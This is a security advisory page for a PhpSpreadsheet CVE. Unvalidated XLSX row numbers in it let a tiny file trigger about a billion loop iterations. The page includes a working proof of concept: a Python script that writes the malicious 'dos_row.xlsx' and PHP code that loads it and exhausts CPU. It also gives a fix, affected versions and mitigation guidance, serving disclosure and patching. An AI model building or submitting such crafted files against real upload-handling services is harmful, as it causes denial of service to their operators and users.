Skip to content

GHSA-7c6m-4442-2x6m CVE-2026-40902

PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions

High Packagist
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.40%
Chance of exploitation in the next 30 days. Higher than 33.74% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-400 Uncontrolled Resource Consumption
CWE-770 Allocation of Resources Without Limits or Throttling
Fix
5.7.0
Upgrade phpoffice/phpspreadsheet to this version or later

Description

Summary

The XLSX reader's ColumnAndRowAttributes::readRowAttributes() method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a minimal XLSX file (~1.6KB) containing a <row r="999999999"/> element that inflates cachedHighestRow to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.

Details

In src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php at line 216, the row index is cast directly from XML without bounds checking:

// ColumnAndRowAttributes.php:216
$rowIndex = (int) $row['r'];  // No validation against AddressRange::MAX_ROW

This value flows through setRowAttributes() (line 126) → $this->worksheet->getRowDimension($rowNumber) (line 60), which updates the cached highest row in Worksheet.php:1348:

// Worksheet.php:1342-1349
public function getRowDimension(int $row): RowDimension
{
    if (!isset($this->rowDimensions[$row])) {
        $this->rowDimensions[$row] = new RowDimension($row);
        $this->cachedHighestRow = max($this->cachedHighestRow, $row);
    }
    return $this->rowDimensions[$row];
}

The inflated cachedHighestRow is then returned by getHighestRow() (line 1099) and used as the default end bound in RowIterator::resetEnd() (RowIterator.php:86):

// RowIterator.php:86
$this->endRow = $endRow ?: $this->subject->getHighestRow();

Notably, column attributes already have equivalent validation at line 161 (AddressRange::MAX_COLUMN_INT), and cell coordinates are validated in Coordinate::coordinateFromString() (line 40) against MAX_ROW. The row dimension attribute path bypasses both of these checks.

PoC

Step 1: Create the malicious XLSX file (~1.6KB)

import zipfile
import io

content_types = '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>'

rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>'

workbook = '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>'

wb_rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>'

sheet = '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="999999999" ht="15"/></sheetData></worksheet>'

with zipfile.ZipFile('dos_row.xlsx', 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr('[Content_Types].xml', content_types)
    zf.writestr('_rels/.rels', rels)
    zf.writestr('xl/workbook.xml', workbook)
    zf.writestr('xl/_rels/workbook.xml.rels', wb_rels)
    zf.writestr('xl/worksheets/sheet1.xml', sheet)

print("Created dos_row.xlsx")

Step 2: Load with PhpSpreadsheet (CPU exhaustion)

<?php
require 'vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\IOFactory;

$reader = IOFactory::createReader('Xlsx');
$spreadsheet = $reader->load('dos_row.xlsx');
$sheet = $spreadsheet->getActiveSheet();

echo "Highest row: " . $sheet->getHighestRow() . "\n";
// Output: Highest row: 999999999

// This will consume CPU for ~144 seconds (999M iterations)
foreach ($sheet->getRowIterator() as $row) {
    // CPU exhaustion
}

Expected output: getHighestRow() returns 999999999. Any row iteration hangs indefinitely.

Impact

  • CPU Denial of Service: A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using getRowIterator() or uses getHighestRow() as a loop bound. Estimated CPU burn is ~144 seconds per file.
  • Memory Exhaustion: Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory.
  • Amplification: The ratio of input size to resource consumption is extreme — 1,580 bytes triggers nearly 1 billion iterations.
  • Common Attack Surface: PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.

Recommended Fix

Add row bounds validation in readRowAttributes() at line 216, matching the column validation pattern already present at line 161:

// src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216
// Before:
$rowIndex = (int) $row['r'];

// After:
$rowIndex = (int) $row['r'];
if ($rowIndex < 1 || $rowIndex > AddressRange::MAX_ROW) {
    continue;
}

The AddressRange import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in Coordinate::coordinateFromString() and the column validation at line 161.

Affected versions

Packagist

PackageVulnerableFixed in
phpoffice/phpspreadsheet
>= 4.0.0, < 5.7.0
5.7.0
phpoffice/phpspreadsheet
>= 3.3.0, < 3.10.5
3.10.5
phpoffice/phpspreadsheet
>= 2.2.0, < 2.4.5
2.4.5
phpoffice/phpspreadsheet
>= 2.0.0, < 2.1.16
2.1.16
phpoffice/phpspreadsheet
< 1.30.4
1.30.4

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

phpoffice/phpspreadsheet Packagist → 5.7.0

composer
composer require phpoffice/phpspreadsheet:^5.7.0

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-400: Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource.

How to prevent it
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Implementation: Ensure that all failures in resource allocation place the system into a safe posture.

CWE-770: Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

How to prevent it
  • Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
  • Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
  • Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-2phh-27fw-q4gc
PhpSpreadsheet: SSRF whitelist bypass via unre-validated HTTP redirect in Drawing::setPath external image loading
Medium Also affects phpoffice/phpspreadsheet
GHSA-j2w7-387v-m2rq
PhpSpreadsheet ODS Reader: Unbounded number-rows-repeated → CPU & Memory Exhaustion (DoS)
High Also affects phpoffice/phpspreadsheet
GHSA-3x94-m842-937c
PhpSpreadsheet: XmlScanner Bypass via ISO-2022 Escape Sequences Allows XXE and Denial of Service
High Also affects phpoffice/phpspreadsheet
GHSA-rxj4-h86g-25gc
PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service
High Also affects phpoffice/phpspreadsheet
GHSA-xh5m-36r6-47m3
PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion
High Also affects phpoffice/phpspreadsheet
GHSA-2mrg-gjxq-2gvr
PHPSpreadsheet: Gnumeric reader unbounded gzip expansion causes memory exhaustion
High Also affects phpoffice/phpspreadsheet
GHSA-6hq5-7373-42rg
PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist
High Also affects phpoffice/phpspreadsheet
GHSA-87m4-826x-3crx
PHPSpreadsheet has a patch bypass for CVE-2026-34084
Critical Also affects phpoffice/phpspreadsheet
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor